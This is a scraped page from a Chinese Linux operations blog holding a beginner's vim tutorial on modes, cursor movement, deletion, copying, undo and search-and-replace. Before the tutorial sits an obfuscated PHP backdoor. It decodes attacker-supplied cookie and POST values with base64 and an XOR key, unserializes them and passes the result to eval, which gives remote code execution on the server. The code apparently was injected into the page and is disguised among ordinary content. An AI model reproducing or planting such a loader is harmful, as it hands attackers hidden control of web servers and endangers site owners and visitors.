$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} vim编辑器 | Linux运维部落

vim编辑器

  在linux系统中使用文本编辑器来编辑你的配置文件是一件很重要的事。vim是linux最常用的文本编辑器,具有以下优势:所有的linux都内置vi文本编辑器。很多软件都会主动调用vi,如crontab、visudo等.

所以我们必须学好vi,vim分为以下3种模式:

  一般模式:

用 vi打开一个文件时,一进入该文件就是一般模式了。在这个模式中, 你可以使用 上下
左右 按键来移动光标,您可以使用 删除字符 或 删除整行 来处理档案内容, 也可以使用
复制、贴上来处理您的文件数据。

  编辑模式:

在一般模式下输入o、i等进入编辑模式,在编辑模式下可以直接输入字符串对文件进行编辑。

  末行模式:

在一般模式当中,输入 : 或 / 或 ? 就可以将光标移动到最底下那一行,在这个模式当中,
可以提供您搜寻资料的动作,而读取、存盘、大量取代字符、离开 vi 、显示行号 等等的动
作则是在此模式中达成的。

一般模式中的按键较多

翻屏操作:

Ctrl+f: 向文件尾部翻一屏;

Ctrl+b: 向文件首部翻一屏;

 

行首行尾跳转:

^: 跳转至行首的第一个非空白字符;

0: 跳转至行首;

$: 跳转至行尾;

 

行间移动:

#G:跳转至由#指定行;

G:最后一行;

1G, gg: 第一行;

 

vim的编辑命令:

字符编辑:

x: 删除光标处的字符;

#x: 删除光标处起始的#个字符;

 

删除命令:

d: 删除命令,可结合光标跳转字符,实现范围删除;

d$:删除光标至行尾部分的内容;

d^:删除行首(非空格)至光标处的内容;

d0:删除行首至光标处的内容;

 

dd: 删除光标所在的行;

#dd:多行删除;

 

粘贴命令(p, put, paste):

p:缓冲区存的如果为整行,则粘贴当前光标所在行的下方;否则,则粘贴至当前光标所在处的后面;

P:缓冲区存的如果为整行,则粘贴当前光标所在行的上方;否则,则粘贴至当前光标所在处的前面;

 

复制命令(y, yank):

y: 复制,工作行为相似于d命令;

y$:复制光标处至行尾的内容;

y0:复制行首至光标处的内容;

y^:复制行首(非空格)至光标处的内容;

 

yy:复制行

#yy: 复制多行;

 

可视化模式:

v: 按字符选定

V:按行行定

可用于批量注释,部分行首加#

 

撤消此前的编辑:

u(undo):撤消此前的操作;

#u: 撤消指定次数的操作;

 

撤消此前的撤消:

Ctrl+r

 

重复前一个编辑操作:

.

末行模式操作:

:w  保存

:q  退出

:set nu 显示行号

:set nonu 不显示行号

/word   向下搜索字符 

?word   向上搜索字符

        n 下一个搜索结果     

        N 上一个搜索结果

#s/word1/word2/ 把某行的第一个搜到的word1替换成word2

#s/word1/word2/g 把某行全部搜索到的word1替换成word2

vi的功能太强大,目前只记住了很小一部分,之后的使用中应继续摸索。

原创文章,作者:zxhy,如若转载,请注明出处:http://www.178linux.com/17202

(0)
上一篇 2016-06-09 22:14
下一篇 2016-06-10 13:21

相关推荐

  • 用户组和权限管理

    一、3A认证     Authentication:认证     Autherization:授权     Accoutiong|Audition:审计 二、用户user      linu…

    Linux干货 2016-08-04
  • vsftpd虚拟用户搭建

    首选的FTP服务器搭建方式 安装vsftpd      yum install -y vsftpd      systemctl enable vsftpd     #设置开机启动      systemctl is-enabled vsf…

    Linux干货 2017-04-27
  • 学习标准I/O和管道的心得体会

    重定向、标准输出、标准输入、标准错误、管道的命令整理

    2017-11-20
  • 20160808作业

    1、删除/etc/grub2.conf文件中所有以空白开头的行行首的空白字符      2、删除/etc/fstab文件中所有以#开头,后面至少跟一个空白字符的行的行首的#和空白字符      3、在/root/install.log每一行行首增加#号  &nbs…

    Linux干货 2016-08-11
  • kickstart 的使用!

    简介 1.什么是kickstart KickStart是一种无人职守安装方式。KickStart的工作原理是通过记录典型的安装过程中所需人工干预填写的各种参数,并生成一个名为ks.cfg的文件;在其后的安装过程中(不只局限于生成KickStart安装文件的机器)当出现要求填写参数的情况时,安装程序会首先去查找KickStart生成的文件,当找到合适的参数时,…

    Linux干货 2016-11-03
  • 马哥教育网络第21期-第十周课程练习

    1、请详细描述CentOS系统的启动流程(详细到每个过程系统做了哪些事情) 1.post加电自检,bios检测基础硬件设备 2.boot sequence:按次序查找各引导设备,第一个有引导程序的设备即为本次启动用到设备;读取启动设备MBR中 的bootloader,启动GRUB,选择内核加载到内存中。 3.kernel:自身初始化:探测可识别到的…

    Linux干货 2016-11-14